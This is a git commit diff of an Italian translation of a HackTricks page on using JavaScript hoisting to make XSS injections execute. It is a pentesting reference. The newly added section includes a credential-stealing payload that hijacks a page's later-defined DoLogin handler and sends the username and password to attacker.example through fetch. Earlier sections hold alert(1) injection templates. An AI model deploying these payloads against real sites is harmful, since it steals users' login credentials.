Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting

This commit is contained in:
Translator 2025-08-28 19:22:23 +00:00
parent 0c99736564
commit da9650fe34
2 changed files with 291 additions and 222 deletions

File diff suppressed because it is too large Load Diff

View File

@ -2,31 +2,31 @@
{{#include ../../banners/hacktricks-training.md}}
## Informazioni di Base
## Informazioni di base
Nel linguaggio JavaScript, viene descritto un meccanismo noto come **Hoisting** in cui le dichiarazioni di variabili, funzioni, classi o importazioni vengono concettualmente sollevate all'inizio del loro ambito prima che il codice venga eseguito. Questo processo è eseguito automaticamente dal motore JavaScript, che analizza lo script in più passaggi.
Nel linguaggio JavaScript esiste un meccanismo chiamato **Hoisting** in cui le dichiarazioni di variabili, funzioni, classi o import vengono concettualmente sollevate all'inizio del loro ambito prima che il codice venga eseguito. Questo processo è eseguito automaticamente dal motore JavaScript, che analizza lo script in più passaggi.
Durante il primo passaggio, il motore analizza il codice per controllare errori di sintassi e lo trasforma in un albero di sintassi astratta. Questa fase include il hoisting, un processo in cui alcune dichiarazioni vengono spostate all'inizio del contesto di esecuzione. Se la fase di analisi ha successo, indicando che non ci sono errori di sintassi, l'esecuzione dello script procede.
Durante il primo passaggio, il motore esegue il parsing del codice per verificare errori di sintassi e lo trasforma in un albero di sintassi astratta. Questa fase include lo hoisting, un processo in cui alcune dichiarazioni vengono spostate all'inizio del contesto di esecuzione. Se la fase di parsing ha successo, indicando l'assenza di errori di sintassi, l'esecuzione dello script procede.
È cruciale comprendere che:
1. Lo script deve essere privo di errori di sintassi affinché l'esecuzione avvenga. Le regole di sintassi devono essere seguite rigorosamente.
2. La posizione del codice all'interno dello script influisce sull'esecuzione a causa del hoisting, anche se il codice eseguito potrebbe differire dalla sua rappresentazione testuale.
1. Lo script deve essere privo di errori di sintassi perché l'esecuzione abbia luogo. Le regole di sintassi devono essere rispettate rigorosamente.
2. La posizione del codice all'interno dello script influisce sull'esecuzione a causa dello hoisting, anche se il codice eseguito potrebbe differire dalla sua rappresentazione testuale.
#### Tipi di Hoisting
Basato sulle informazioni di MDN, ci sono quattro tipi distinti di hoisting in JavaScript:
Secondo MDN, ci sono quattro tipi distinti di hoisting in JavaScript:
1. **Value Hoisting**: Consente l'uso del valore di una variabile all'interno del suo ambito prima della sua linea di dichiarazione.
2. **Declaration Hoisting**: Permette di fare riferimento a una variabile all'interno del suo ambito prima della sua dichiarazione senza causare un `ReferenceError`, ma il valore della variabile sarà `undefined`.
3. Questo tipo altera il comportamento all'interno del suo ambito a causa della dichiarazione della variabile prima della sua linea di dichiarazione effettiva.
1. **Value Hoisting**: Permette di usare il valore di una variabile all'interno del suo ambito prima della sua riga di dichiarazione.
2. **Declaration Hoisting**: Permette di riferirsi a una variabile all'interno del suo ambito prima della sua dichiarazione senza causare un `ReferenceError`, ma il valore della variabile sarà `undefined`.
3. Questo tipo modifica il comportamento all'interno del suo ambito perché la dichiarazione della variabile avviene prima della sua effettiva riga di dichiarazione.
4. Gli effetti collaterali della dichiarazione si verificano prima che il resto del codice che la contiene venga valutato.
In dettaglio, le dichiarazioni di funzione mostrano un comportamento di hoisting di tipo 1. La parola chiave `var` dimostra un comportamento di tipo 2. Le dichiarazioni lessicali, che includono `let`, `const` e `class`, mostrano un comportamento di tipo 3. Infine, le dichiarazioni `import` sono uniche in quanto vengono hoisted con comportamenti sia di tipo 1 che di tipo 4.
Nello specifico, le dichiarazioni di funzione mostrano il comportamento di hoisting di tipo 1. La keyword `var` mostra il comportamento di tipo 2. Le dichiarazioni lessicali, che includono `let`, `const` e `class`, mostrano il comportamento di tipo 3. Infine, le istruzioni `import` sono uniche in quanto vengono hoisted con i comportamenti sia di tipo 1 sia di tipo 4.
## Scenari
Pertanto, se hai scenari in cui puoi **Iniettare codice JS dopo che un oggetto non dichiarato** è stato utilizzato, potresti **correggere la sintassi** dichiarandolo (in modo che il tuo codice venga eseguito invece di generare un errore):
Pertanto, se ti trovi in scenari in cui puoi **Inject JS code after an undeclared object** is used, potresti **fix the syntax** dichiarandolo (in modo che il tuo codice venga eseguito invece di generare un errore):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -68,7 +68,7 @@ alert(1);
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
```
## Altri Scenari
## Altri scenari
```javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
@ -127,11 +127,31 @@ alert(1) -
},
})
}
trigger()
```
### Anticipare dichiarazioni successive bloccando un nome con const
Se puoi eseguire del codice prima che una `function foo(){...}` di livello top venga parsata, dichiarare un binding lessicale con lo stesso nome (es., `const foo = ...`) impedirà alla successiva dichiarazione di funzione di riassegnare quell'identificatore. Questo può essere sfruttato in RXSS per dirottare handler critici definiti più avanti nella pagina:
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
```
Note
- Questo si basa sull'ordine di esecuzione e sullo scope globale (top-level).
- Se il tuo payload viene eseguito all'interno di `eval()`, ricordati che `const/let` dentro `eval` sono a livello di blocco e non creeranno binding globali. Inserisci un nuovo elemento `<script>` con il codice per stabilire un vero `const` globale.
## Riferimenti
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
{{#include ../../banners/hacktricks-training.md}}